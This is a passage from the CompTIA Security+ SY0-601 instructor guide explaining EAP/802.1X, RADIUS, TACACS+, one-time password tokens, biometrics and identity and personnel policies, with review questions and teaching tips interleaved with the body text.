The smart-card authentication process described earlier is used for Kerberos

Extensible
authentication where the computer is attached to the local network and the user is Authentication
logging on to Windows. Authentication may also be required in other contexts: Protocol/IEEE 802.1X
• When the user is accessing a wireless network and needs to authenticate with the
Teaching
network database.
Tip
• When a device is connecting to a network via a switch and network policies require We introduce EAP
the user to be authenticated before the device is allowed to communicate. and AAA servers here
as part of certificate-
• When the user is connecting to the network over a public network via a virtual based authentication
private network (VPN). and objective 3.8,
but we will also look
In these scenarios, the Extensible Authentication Protocol (EAP) provides a at port security/NAC
framework for deploying multiple types of authentication protocols and technologies. and Wi-Fi enterprise
EAP allows lots of different authentication methods, but many of them use a digital authentication later in
the course.
certificate on the server and/or client machines. This allows the machines to establish
a trust relationship and create a secure tunnel to transmit the user credential or to
perform smart-card authentication without a user password.

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 166 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Where EAP provides the authentication mechanisms, the IEEE 802.1X Port-based
Network Access Control (NAC) protocol provides the means of using an EAP method
when a device connects to an Ethernet switch port, wireless access point (with
enterprise authentication configured), or VPN gateway. 802.1X uses authentication,
authorization, and accounting (AAA) architecture:
• Supplicant—the device requesting access, such as a user's PC or laptop.

• Network access server (NAS)—edge network appliances, such as switches, access

points, and VPN gateways. These are also referred to as RADIUS clients or authenticators.

• AAA server—the authentication server, positioned within the local network.

With AAA, the NAS devices do not have to store any authentication credentials. They
forward this data between the AAA server and the supplicant. There are two main
types of AAA server: RADIUS and TACACS+.

Show Slide(s) Remote Authentication Dial-in User Service

Remote Authentication
The Remote Authentication Dial-in User Service (RADIUS) standard is published as
Dial-in User Service an Internet standard. There are several RADIUS server and client products.
The NAS device (RADIUS client) is configured with the IP address of the RADIUS server
and with a shared secret. This allows the client to authenticate to the server. Remember
that the client is the access device (switch, access point, or VPN gateway), not the user's
PC or laptop. A generic RADIUS authentication workflow proceed as follows:
1. The user's device (the supplicant) makes a connection to the NAS appliance, such
as an access point, switch, or remote access server.

RADIUS authentication with EAP overview. (Images © 123RF.com.)

2. The NAS prompts the user for their authentication credentials. RADIUS supports
PAP, CHAP, and EAP. Most implementations now use EAP, as PAP and CHAP
are not secure. If EAP credentials are required, the NAS enables the supplicant

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 167

to transmit EAP over LAN (EAPoL) data, but does not allow any other type of
network traffic.

3. The supplicant submits the credentials as EAPoL data. The RADIUS client uses
this information to create an Access-Request RADIUS packet, encrypted using the
shared secret. It sends the Access-Request to the AAA server using UDP on port
1812 (by default).

4. The AAA server decrypts the Access-Request using the shared secret. If the
Access-Request cannot be decrypted (because the shared secret is not correctly
configured, for instance), the server does not respond.

5. With EAP, there will be an exchange of Access-Challenge and Access-Request

packets as the authentication method is set up and the credentials verified.
The NAS acts as a pass-thru, taking RADIUS messages from the server, and
encapsulating them as EAPoL to transmit to the supplicant.

6. At the end of this exchange, if the supplicant is authenticated, the AAA server
responds with an Access-Accept packet; otherwise, an Access-Reject packet
is returned.

Optionally, the NAS can use RADIUS for accounting (logging). Accounting uses port
1813. The accounting server can be different from the authentication server.

Terminal Access Controller Access-Control System Show Slide(s)

RADIUS is used primarily for network access control. AAA services are also used for the Terminal Access
purpose of centralizing logins for the administrative accounts for network appliances. Controller Access-
This allows network administrators to be allocated specific privileges on each switch, Control System
router, access point, and firewall. Whereas RADIUS can be used for this network
appliance administration role, the Cisco-developed Terminal Access Controller
Access-Control System Plus (TACACS+) is specifically designed for this purpose
(https://www.cisco.com/c/en/us/support/docs/security-vpn/remote-authentication-dial-
user-service-radius/13838-10.html):
• TACACS+ uses TCP communications (over port 49), and this reliable, connection-
oriented delivery makes it easier to detect when a server is down.

• All the data in TACACS+ packets is encrypted (except for the header identifying the
packet as TACACS+ data), rather than just the authentication data. This ensures
confidentiality and integrity when transferring critical network infrastructure data.

• Authentication, authorization, and accounting functions are discrete. Many device

management tasks require reauthentication (similar to having to re-enter a
password for sudo or UAC) and per-command authorizations and privileges for
users, groups, and roles. TACACS+ supports this workflow better than RADIUS.

Token Keys and Static Codes Show Slide(s)

Smart-card authentication works well when you have close control over user accounts Token Keys and Static
and the devices used on the network. Other types of ownership-based authentication Codes
technologies use various hardware and software tokens. These avoid some of
the management issues of using the digital certificates required by smart-card Teaching
authentication. Tip
FIDO/U2F is not on the
A one-time password (OTP) is one that is generated automatically, rather than being
syllabus, but it is worth
chosen by a user, and used only once. Consequently, it is not vulnerable to password mentioning in terms of
guessing or sniffing attacks. An OTP is generated using some sort of hash function on a general awareness of
secret value plus a synchronization value (seed), such as a timestamp or counter. token key methods.

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 168 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Key fob token generator. (Image © 123RF.com.)

The SecurID token from RSA represents one popular implementation of an OTP token
key. The device generates a passcode based on the current time and a secret key
coded into the device. The code is entered along with a PIN or password known only
to the user. Network access devices must be configured with an agent to intercept the
credentials and direct them to an Authentication Manager server for validation. This
server can integrate with directory products, such as AD.
There are also simpler token keys and smart cards that simply transmit a static token
programmed into the device. For example, many building entry systems work on the
basis of static codes. These mechanisms are highly vulnerable to cloning and replay
attacks.
There are many other ways of implementing hardware token keys. For example, a
Fast Identity Online (FIDO) Universal Second Factor (U2F) USB token registers a public
key with the authentication service. The authentication mechanism then requires the
private key locked to the token, which is authorized using PIN or fingerprint activation
(fidoalliance.org/showcase/fido-u2f-security-key). This can also be used with the
Windows Hello authentication provider (microsoft.com/security/blog/2019/06/10/
advancing-windows-10-passwordless-platform).

Show Slide(s) Open Authentication

Open Authentication
The Initiative for Open Authentication (OATH) is an industry body established
with the aim of developing an open, strong authentication framework. Open means
a system that any enterprise can link into to perform authentication of users and
devices across different networks. Strong means that the system is based not just on
passwords, but also on 2- or 3-factor authentication or on 2-step verification. OATH has
developed two algorithms for implementing one time passwords (OTPs).

HMAC-Based One-Time Password Algorithm (HOTP)

HMAC-based One-time Password Algorithm (HOTP) is an algorithm for token-based
authentication (tools.ietf.org/html/rfc4226). The authentication server and client token
are configured with the same shared secret. This should be an 8-byte value generated
by a cryptographically strong random number generator. The token could be a fob-type
device or implemented as a smartphone authentication/authenticator app. The shared
secret can be transmitted to the smartphone app as a QR code image acquirable by
the phone's camera so that the user doesn't have to type anything. Obviously, it is
important that no other device is able to acquire the shared secret. The shared secret
is combined with a counter to create a one-time password when the user wants to

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 169

authenticate. The device and server both compute the hash and derive an HOTP value
that is 6-8 digits long. This is the value that the user must enter to authenticate with the
server. The counter is incremented by one.

The server is configured with a counter window to cope with the circumstance that the
device and server counters move out of sync. This could happen if the user generates an
OTP but does not use it, for instance.

Time-Based One-Time Password Algorithm (TOTP)

The Time-based One-time Password Algorithm (TOTP) is a refinement of the HOTP
(tools.ietf.org/html/rfc6238). One issue with HOTP is that tokens can be allowed to
persist unexpired, raising the risk that an attacker might be able to obtain one and
decrypt data in the future. In TOTP, the HMAC is built from the shared secret plus a
value derived from the device's and server's local timestamps. TOTP automatically
expires each token after a short window (60 seconds, for instance). For this to work,
the client device and server must be closely time-synchronized. One well-known
implementation of HOTP and TOTP is Google Authenticator.

Two-step verification mechanism protecting web application access. The site sends a Time-based One
Time Password with a duration of five minutes to the registered cell phone by SMS.

Don’t confuse OATH (Open Authentication) with OAuth (Open Authorization).

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 170 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) 2-Step Verification

2-Step Verification
2-step verification or out-of-band mechanisms generate a software token on a server and
send it to a resource assumed to be safely controlled by the user. The token can be
Teaching transmitted to the device in a number of ways:
Tip
• Short Message Service (SMS)—the code is sent as a text to the registered phone
The term 2-step number.
verification is not
used on the objectives • Phone call—the code is delivered as an automated voice call to the registered phone
document, but
students should
number.
understand the
difference between • Push notification—the code is sent to a registered authenticator app on the PC or
these mechanisms smartphone.
and token keys.
• Email—the code is sent to a registered email account.

These mechanisms are sometimes also described as 2-factor authentication (2FA).

However, anyone intercepting the code within the time frame could enter it
as something you know without ever possessing or looking at the device itself
(auth0.com/blog/why-sms-multi-factor-still-matters).

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 171

Review Activity:
Authentication Technologies
Answer the following questions:

1. True or false? When implementing smart card logon, the user's private key
is stored on the smart card.

True. The smart card implements a cryptoprocessor for secure generation and storage
of key and certificate material.

2. You are providing consultancy to a firm to help them implement smart

card authentication to premises networks and cloud services. What are the
main advantages of using an HSM over server-based key and certificate
management services?

A hardware security module (HSM) is optimized for this role and so present a smaller
attack surface. It is designed to be tamper-evident to mitigate against insider threat
risks. It is also likely to have a better implementation of a random number generator,
improving the security properties of key material.

3. Which network access control framework supports smart cards?

Local logon providers, such as Kerberos, support smart cards, but this is not network
access control as the device has already been allowed on the network. The IEEE 802.1X
framework means that network access servers (switches, access points, and VPN
gateways) can accept Extensible Authentication Protocols (EAP) credentials, but block
any other type of network access. They act as pass-thru for an authentication server,
which stores and validates the credentials. Some EAP types support smart card or
machine authentication.

4. What is a RADIUS client?

A device or server that accepts user connections, often referred to as a network access
server (NAS) or as the authenticator. Using RADIUS architecture, the client does not need
to be able to perform authentication itself; it performs pass-thru to an AAA server.

5. What is EAPoL?

A network access server that support 802.1X port-based access control can enable
a port but allow only the transfer of Extensible Authentication Protocol over LAN
(EAPoL) traffic. This allows the supplicant and authentication server to perform the
authentication process, with the network access server acting as a pass-thru.

6. How does OTP protect against password guessing or sniffing attacks?

A one-time password mechanism generates a token that is valid only for a short period
(usually 60 seconds), before it changes again.

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 172 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 7D
Summarize Biometrics
Authentication Concepts

Teaching EXAM OBJECTIVES COVERED

Tip 2.4 Summarize authentication and authorization design concepts
This final part of the
authentication lesson
covers biometric Biometric authentication mechanisms allow users to access an account through a
technologies. physiological feature (fingerprint or iris pattern, for instance) or behavioral pattern.
These are relatively
straightforward
Being able to summarize the advantages and drawbacks of biometric mechanisms will
concepts and the allow you to support the deployment and use of these technologies.
examples are at a
"summarize" rather
than "implement"
Biometric Authentication
level, so try not to The first step in setting up biometric authentication is enrollment. The chosen
spend too much time
on this topic.
biometric information is scanned by a biometric reader and converted to binary
information. There are generally two steps in the scanning process:
Show Slide(s)
1. A sensor module acquires the biometric sample from the target.

Biometric 2. A feature extraction module records the features in the sample that uniquely
Authentication identify the target.
Teaching The biometric template is kept in the authentication server's database. When the user
Tip wants to access a resource, he or she is re-scanned, and the scan is compared to the
Make sure that template. If they match to within a defined degree of tolerance, access is granted.
students understand
biometrics are based Several pattern types can be used to identify people biometrically. These can be
on unique features, categorized as physical (fingerprint, eye, and facial recognition) or behavioral (voice,
not basic descriptions signature, and typing pattern matching). Key metrics and considerations used to
such as eye color. evaluate the efficacy rate of biometric pattern acquisition and matching and suitability
as an authentication mechanism include the following:
• False Rejection Rate (FRR)—where a legitimate user is not recognized. This is also
referred to as a Type I error or false non-match rate (FNMR). FRR is measured as a
percentage.

• False Acceptance Rate (FAR)—where an interloper is accepted (Type II error or

false match rate [FMR]). FAR is measured as a percentage.

False rejection cause inconvenience to users, but false acceptance can lead to
security breaches, and so is usually considered the most important metric.

• Crossover Error Rate (CER)—the point at which FRR and FAR meet. The lower the
CER, the more efficient and reliable the technology.

Errors are reduced over time by tuning the system. This is typically accomplished by
adjusting the sensitivity of the system until CER is reached.

• Throughput (speed)—the time required to create a template for each user and the
time required to authenticate. This is a major consideration for high traffic access
points, such as airports or railway stations.

Lesson 7: Implementing Authentication Controls | Topic 7D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 173

• Failure to Enroll Rate (FER)—incidents in which a template cannot be created and

matched for a user during enrollment.

• Cost/implementation—some scanner types are more expensive, whereas others are

not easy to incorporate on mobile devices.

• Users can find it intrusive and threatening to privacy.

• The technology can be discriminatory or inaccessible to those with disabilities.

Fingerprint Recognition Show Slide(s)

Physiologic biometric features represent a something you are factor. They include Fingerprint
fingerprint patterns, iris or retina recognition, or facial recognition. Recognition
Fingerprint recognition is the most widely implemented biometric authentication
method. The technology required for scanning and recording fingerprints is relatively
inexpensive and the process quite straightforward. A fingerprint sensor is usually
implemented as a small capacitive cell that can detect the unique pattern of ridges
making up the pattern. The technology is also non-intrusive and relatively simple to
use, although moisture or dirt can prevent readings.

Configuring fingerprint recognition on an Android smartphone.

(Android is a trademark of Google LLC.)

The main problem with fingerprint scanners is that it is possible to obtain a copy of
a user's fingerprint and create a mold of it that will fool the scanner (tomsguide.com/
us/iphone-touch-id-hack,news-20066.html). These concerns are addressed by vein
matching scanners, or vascular biometrics. This requires a more complex scanner—an
infrared light source and camera—to create a template from the unique pattern of
blood vessels in a person's finger or palm.

Lesson 7: Implementing Authentication Controls | Topic 7D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 174 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Facial Recognition

Facial Recognition
Facial recognition records multiple indicators about the size and shape of the face, like
the distance between each eye, or the width and length of the nose. The initial pattern
must be recorded under optimum lighting conditions; depending on the technology,
this can be a lengthy process. Again, this technology is very much associated with
law enforcement, and is the most likely to make users uncomfortable about the
personal privacy issues. Facial recognition suffers from relatively high false acceptance
and rejection rates and can be vulnerable to spoofing. Much of the technology
development is in surveillance, rather than for authentication, although it is becoming
a popular method for use with smartphones.
The limitations of facial recognition can be overcome by scanning more detailed
features of the eye:
• Retinal scan—an infrared light is shone into the eye to identify the pattern of blood
vessels. The arrangement of these blood vessels is highly complex and typically
does not change from birth to death, except in the event of certain diseases or
injuries. Retinal scanning is therefore one of the most accurate forms of biometrics.
Retinal patterns are very secure, but the equipment required is expensive and the
process is relatively intrusive and complex. False negatives can be produced by
disease, such as cataracts.

A retinal scan uses an infrared light to identify the pattern of blood vessels in the eye.
(Photo by Ghost Presenter on Unsplash.)

• Iris scan—matches patterns on the surface of the eye using near-infrared imaging
and so is less intrusive than retinal scanning (the subject can continue to wear
glasses, for instance) and a lot quicker. Iris scanners offer a similar level of accuracy
as retinal scanners but are much less likely to be affected by diseases. Iris scanning
is the technology most likely to be rolled out for high-volume applications, such as
airport security. There is a chance that an iris scanner could be fooled by a high-
resolution photo of someone's eye.

Show Slide(s) Behavioral Technologies

Behavioral
Something you do refers to behavioral biometric pattern recognition. Rather than
Technologies scan some attribute of your body, a template is created by analyzing a behavior, such
as typing, writing a signature, or walking/moving. The variations in motion, pressure,
or gait are supposed to uniquely verify each individual. In practice, however, these
methods are subject to higher error rates, and are much more troublesome for a
subject to perform.

Lesson 7: Implementing Authentication Controls | Topic 7D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 175

• Voice recognition—relatively cheap, as the hardware and software required are built
into many standard PCs and mobiles. However, obtaining an accurate template can
be difficult and time-consuming. Background noise and other environmental factors
can also interfere with logon. Voice is also subject to impersonation.

• Gait analysis—produces a template from human movement (locomotion). The

technologies can either be camera-based or use smartphone features, such as an
accelerometer and gyroscope.

• Signature recognition—signatures are relatively easy to duplicate, but it is more

difficult to fake the actual signing process. Signature matching records the user
applying their signature (stroke, speed, and pressure of the stylus).

• Typing—matches the speed and pattern of a user’s input of a passphrase.

Some biometric and behavioral technologies might be used for purposes other than
logon authentication:
• Biometric identification refers to matching people to a database, as opposed to
authenticating them per se. For example, if an individual crossing the floor of the data
center does not produce a match for gait analysis, the system may raise a security
alert (g4s.com/en-us/media/news/2017/12/06/keeping-data-centers-secure).

• Continuous authentication verifies that the user who logged on is still operating the
device. For example, if a user successfully authenticates to a smartphone using a
fingerprint, the device continues to monitor key motion and pressure statistics as
the device is held and manipulated. If this deviates from the baseline, detection
system would lock the phone. This sort of technology is not available on the market
(at the time of writing), but it is the subject of numerous research projects.

Lesson 7: Implementing Authentication Controls | Topic 7D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 176 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Biometrics Authentication Concepts
Answer the following questions:

1. Apart from cost, what would you consider to be the major considerations
for evaluating a biometric recognition technology?

Error rates (false acceptance and false rejection), throughput, and whether users will
accept the technology or reject it as too intrusive or threatening to privacy.

2. How is a fingerprint reader typically implemented as hardware?

As a capacitive cell.

3. Which type of eye recognition is easier to perform: retinal or iris scanning?

Iris scans are simpler.

4. What two ways can biometric technologies be used other than for logon
authentication?

For identification based on biometric features and in continuous authentication

mechanisms.

Lesson 7: Implementing Authentication Controls | Topic 7D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 177

Lesson 7
Summary
You should be able to assess the design and use of authentication products for Teaching
on-premises networks, web/cloud apps, and physical security in terms of meeting Tip
confidentiality, integrity, and availability requirements. Given a product-specific setup Check that students
guide, you should be able to implement protocols and technologies such as Kerberos, are confident about
smart card authentication, and EAP/RADIUS. You should also be able to identify signs of the content that has
and risks from password attacks. been covered. If there
is time, revisit any
content examples that
Guidelines for Implementing Authentication Controls they have questions
about. If you have
Follow these guidelines when you implement authentication controls: used all the available
time for this lesson
• Assess the design requirements for confidentiality, integrity, and availability given block, note the issues
the context for the authentication solution (private network, public web, VPN and schedule time for
gateway, or physical site premises, for instance). a review later in the
course.
• Determine whether a multifactor authentication (MFA) is required, and which
Interaction
hardware token or biometric technologies would meet the requirement when
Opportunity
combined with a knowledge factor:
Optionally, discuss
• Ownership factors include smart cards, OTP keys/fobs, or OTP authenticator with students what
apps installed to a trusted device. authentication
technologies are used
• Biometric technologies include fingerprint, face, iris, retina, voice, and vein with in their workplaces.
efficacy determined by metric such as FAR, FRR, CER, speed, and accessibility. Do students have
any experience
• 2-step verification can provide an additional token to a trusted device or account of advantages or
disadvantages
via SMS, phone call, email, or push notification. of smart cards
or biometric
• Vaults and USB keys/wireless fobs can provide better security for password technologies? Is
authentication. there single sign-on
across local networks
• Select an appropriate authentication protocol or framework: and cloud services,
and if so, how is this
• Kerberos for sign-in to local networks with support for smart card authentication. implemented?

• 802.1X/EAP/RADIUS for authentication at a network access device, with support

for smart card authentication or secure transmission of user credentials.

• TACACS+ for administration of network appliances.

• Assess risks from password attacks, especially when using legacy procotols (PAP and
CHAP) and where hashes are exposed to capture.

Lesson 7: Implementing Authentication Controls

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 8
Implementing Identity and Account
Management Controls

LESSON INTRODUCTION Teaching

Tip
As well as ensuring that only valid users and devices connect to managed networks This lesson collects
and devices, you must ensure that these subjects are authorized with only necessary the objectives and
permissions and privileges to access and change resources. These tasks are content examples for
complicated by the need to manage identities across on-premises networks and identity management,
cloud services. Also, account security depends on effective organizational policies for privilege/personnel
policies, and
personnel and security training. You will often be involved in shaping and updating
permissions/access
these policies in line with best practice, as well as delivering security awareness control.
education and training programs.

Lesson Objectives
In this lesson, you will:
• Implement identity and account types.

• Implement account policies.

• Implement authorization solutions.

• Explain the importance of personnel policies.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 180 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 8A
Implement Identity and Account Types

Teaching EXAM OBJECTIVES COVERED

Tip 3.7 Given a scenario, implement identity and account management controls
5.3 Explain the importance of policies to organizational security
This topic looks at
policies that ensure
least privilege and
Least privilege is the principle at the heart of most organizational security policies.
govern the account
provisioning process. Identity and privilege management helps an organization to account for the actions of
both regular and administrative users. These systems are complicated by the presence
of default, shared, guest, and device account types that are difficult to associate with a
single identity.

Show Slide(s) Identity Management Controls

Identity Management
On a private network, a digital identity can be represented by an account. The network
Controls administrator ensures the integrity of the server hosting the accounts, while each user
is responsible for protecting the credentials so that only they can authenticate to the
Teaching account and use it. On public networks and as an extra layer of protection on private
Tip networks, the account may also be identified by some cryptographic material.
Recap the way that
an account (user or Certificates and Smart Cards
computer) can be
securely associated Public key infrastructure (PKI) allows the management of digital identities, where a
with a digital ID, which certificate authority (CA) issues certificates to validated subjects (users and servers).
can be used for single The subject identity can be trusted by any third party that also trusts the CA.
sign-on to multiple
services. The certificate contains the subject's public key and is signed by the CA's public key.
We will return to These public keys allow third-parties to verify the certificate and the signature. The
federated identity subject's public key is part of a pair with a linked private key. The private key must be
management in more kept secret. It can be stored on the computer, either in the file system or in a trusted
detail later in the
platform module (TPM) chip. Alternatively, a user's certificate and private key can
lesson.
be stored on a smart card or USB key and used to authenticate to different PCs and
mobile devices.

Tokens
It is inconvenient for users to authenticate to each application they need to use. In a
single sign-on system, the user authenticates to an identity provider (IdP) and receives
a cryptographic token. The user can present that token to compatible applications as
proof they are authenticated, and receive authorizations from the application. With a
token, there is always a risk that a malicious actor will be able to capture and replay it.
The application protocol that makes use of tokens must be designed to resist this type
of attack.

Identity Providers
The identity provider is the service that provisions the user account and processes
authentication requests. On a private network, these identity directories and
application authorization services can be operated locally. The same site operates both

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 181

identity provision and application provision. Most networks now make use of third-
party cloud services, however. In this scenario, various protocols and frameworks are
available to implement federated identity management across web-based services.
This means that a user can create a digital identity with a one provider, but other sites
can use that identity to authorize use of an application.

Background Check and Onboarding Policies Show Slide(s)

Identity and access management (IAM) involves both IT/security procedures and Background Check
technologies and Human Resources (HR) policies. Personnel management policies are and Onboarding
applied in three phases: Policies
• Recruitment (hiring)—locating and selecting people to work in particular job roles. Teaching
Security issues here include screening candidates and performing background Tip
checks.
Explain how account
and privilege policies
• Operation (working)—it is often the HR department that manages the
apply to job roles,
communication of policy and training to employees (though there may be facilitated at least
a separate training and personal development department within larger partly by HR. These
organizations). As such, it is critical that HR managers devise training programs that written policies are
communicate the importance of security to employees. then expressed
as technical
• Termination or separation (firing or retiring)—whether an employee leaves controls, such as
voluntarily or involuntarily, termination is a difficult process, with numerous security network accounts
and permissions
implications.
assignments.

Background Check
A background check determines that a person is who they say they are and are
not concealing criminal activity, bankruptcy, or connections that would make them
unsuitable or risky. Employees working in high confidentiality environments or with
access to high value transactions will obviously need to be subjected to a greater
degree of scrutiny. For some jobs, especially federal jobs requiring a security clearance,
background checks are mandatory. Some background checks are performed internally,
whereas others are done by an external third party.

Onboarding
Onboarding at the HR level is the process of welcoming a new employee to the
organization. The same sort of principle applies to taking on new suppliers or
contractors. Some of the same checks and processes are used in creating customer
and guest accounts. As part of onboarding, the IT and HR function will combine to
create an account for the user to access the computer system, assign the appropriate
privileges, and ensure the account credentials are known only to the valid user. These
functions must be integrated, to avoid creating accidental configuration vulnerabilities,
such as IT creating an account for an employee who is never actually hired. Some of
the other tasks and processes involved in onboarding include:
• Secure transmission of credentials—creating and sending an initial password
or issuing a smart card securely. The process needs protection against rogue
administrative staff. Newly created accounts with simple or default passwords are
an easily exploitable backdoor.

• Asset allocation—provision computers or mobile devices for the user or agree to

the use of bring-your-own-device handsets.

• Training/policies—schedule appropriate security awareness and role-relevant

training and certification.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 182 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Non-Disclosure Agreement (NDA)

The terms of an non-disclosure agreement (NDA) might be incorporated within the
employee contract or could be a separate document. When an employee or contractor
signs an NDA, they are asserting that they will not share confidential information with a
third party.

Show Slide(s) Personnel Policies for Privilege Management

Personnel Policies for
HR and IT must collaborate to ensure effective privilege management. These policies
Privilege Management aim to ensure that the risk of insider threat is minimized.

Teaching Separation of Duties

Tip
Separation of duties is a means of establishing checks and balances against the
Make sure students
understand what each
possibility that critical systems or procedures can be compromised by insider threats.
policy entails and how Duties and responsibilities should be divided among individuals to prevent ethical
they reduce risks from conflicts or abuse of powers.
insider threat and
account compromise. An employee is supposed to work for the interests of their organization exclusively. A
situation where someone can act in his or her own interest, personally, or in the interests of
a third party is said to be a conflict of interest.

Separation of duties means that employees must be constrained by security policies:

• Standard operating procedures (SOPs) mean that an employee has no excuse for
not following protocol in terms of performing these types of critical operations.

• Shared authority means that no one user is able to action or enable changes on his
or her own authority. At least two people must authorize the change. One example
is separating responsibility for purchasing (ordering) from that of authorizing
payment. Another is that a request to create an account should be subject to
approval and oversight.

Separation of duties does not completely eliminate risk because there is still the chance of
collusion between two or more people. This, however, is a much less likely occurrence than
a single rogue employee.

Least Privilege
Least privilege means that a user is granted sufficient rights to perform his or her job
and no more. This mitigates risk if the account should be compromised and fall under
the control of a threat actor. Authorization creep refers to a situation where a user
acquires more and more rights, either directly or by being added to security groups
and roles. Least privilege should be ensured by closely analyzing business workflows to
assess what privileges are required and by performing regular account audits.

Job Rotation
Job rotation (or rotation of duties) means that no one person is permitted to remain
in the same job for an extended period. For example, managers may be moved to
different departments periodically, or employees may perform more than one job role,
switching between them throughout the year. Rotating individuals into and out of roles,
such as the firewall administrator or access control specialist, helps an organization
ensure that it is not tied too firmly to any one individual because vital institutional
knowledge is spread among trusted employees. Job rotation also helps prevent abuse
of power, reduces boredom, and enhances individuals' professional skills.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 183

Mandatory Vacation
Mandatory vacation means that employees are forced to take their vacation time,
during which someone else fulfills their duties. The typical mandatory vacation policy
requires that employees take at least one vacation a year in a full-week increment
so that they are away from work for at least five days in a row. During that time, the
corporate audit and security employees have time to investigate and discover any
discrepancies in employee activity.

Offboarding Policies Show Slide(s)

An exit interview (or offboarding) is the process of ensuring that an employee leaves a Offboarding Policies
company gracefully. Offboarding is also used when a project using contractors or third-
parties ends. In terms of security, there are several processes that must be completed: Interaction
Opportunity
• Account management—disable the user account and privileges. Ensure that
any information assets created or managed by the employee but owned by the Ask students if they
have experienced
company are accessible (in terms of encryption keys or password-protected files).
situations where
ex-employees have
• Company assets—retrieve mobile devices, keys, smart cards, USB media, and so
caused security
on. The employee will need to confirm (and in some cases prove) that they have not issues. The Capital
retained copies of any information assets. One breach is a
classic case study
• Personal assets—wipe employee-owned devices of corporate data and applications. (krebsonsecurity.
The employee may also be allowed to retain some information assets (such as com/tag/capital-one-
personal emails or contact information), depending on the policies in force. breach).

The departure of some types of employees should trigger additional processes to

re-secure network systems. Examples include employees with detailed knowledge of
security systems and procedures, and access to shared or generic account credentials.
These credentials must be changed immediately.

Security Account Types and Credential Management Show Slide(s)

Operating systems, network appliances, and network directory products use some Security Account
standard account types as the basis of a privilege management system. These include Types and Credential
standard user, administrative user, security group accounts, and service accounts. Management
Standard users have limited privileges, typically with access to run programs and to Teaching
create and modify files belonging only to their profile. Tip
This content is
Credential Management Policies for Personnel merging the account
types content
Improper credential management continues to be one of the most fruitful vectors examples from
for network attacks. If an organization must continue to rely on password-based objective 3.7 with the
credentials, its usage needs to be governed by strong policies and training. credential policies
content examples
A password policy instructs users on best practice in choosing and maintaining from objective 5.3.
passwords. More generally, a credential management policy should instruct users on This topic is focused
how to keep their authentication method secure, whether this be a password, smart on management/
card, or biometric ID. Password protection policies mitigate against the risk of attackers operational controls.
being able to compromise an account and use it to launch other attacks on the We will cover technical
network. The credential management policy also needs to alert users to diverse types account policy controls
in the next topic.
of social engineering attacks. Users need to be able to spot phishing and pharming
attempts, so that they do not enter credentials into an unsecure form or spoofed site.

Guest Accounts
A guest account is a special type of shared account with no password. It allows
anonymous and unauthenticated access to a resource. The Windows OS creates guest

Lesson 8: Implementing Identity and Account Management Controls | Topic 8A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 184 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

user and group accounts when installed, but the guest user account is disabled by
default. Guest accounts are also created when installing web services, as most web
servers allow unauthenticated access.

Show Slide(s) Security Group-Based Privileges

Security Group-Based
As well as an account to use resources on the local computer, users also typically
Privileges need accounts to use resources on the network. In fact, most accounts are created
on a network directory and then given permission to log in on certain computer or
Teaching workstation objects.
Tip
One approach to network privilege management is to assign privileges directly to
Make sure students
understand the
user accounts. This model is only practical if the number of users is small. With large
reasons for using number of users, it is difficult to audit and to apply privilege policies consistently.
security groups.
The concept of a security group account simplifies and centralizes the administrative
process of assigning rights. Rather than assigning rights directly, the system owner
assigns them to security group accounts. User accounts gain rights by being made
a member of a security group. A user can be a member of multiple groups and can
therefore receive rights and permissions from several sources.

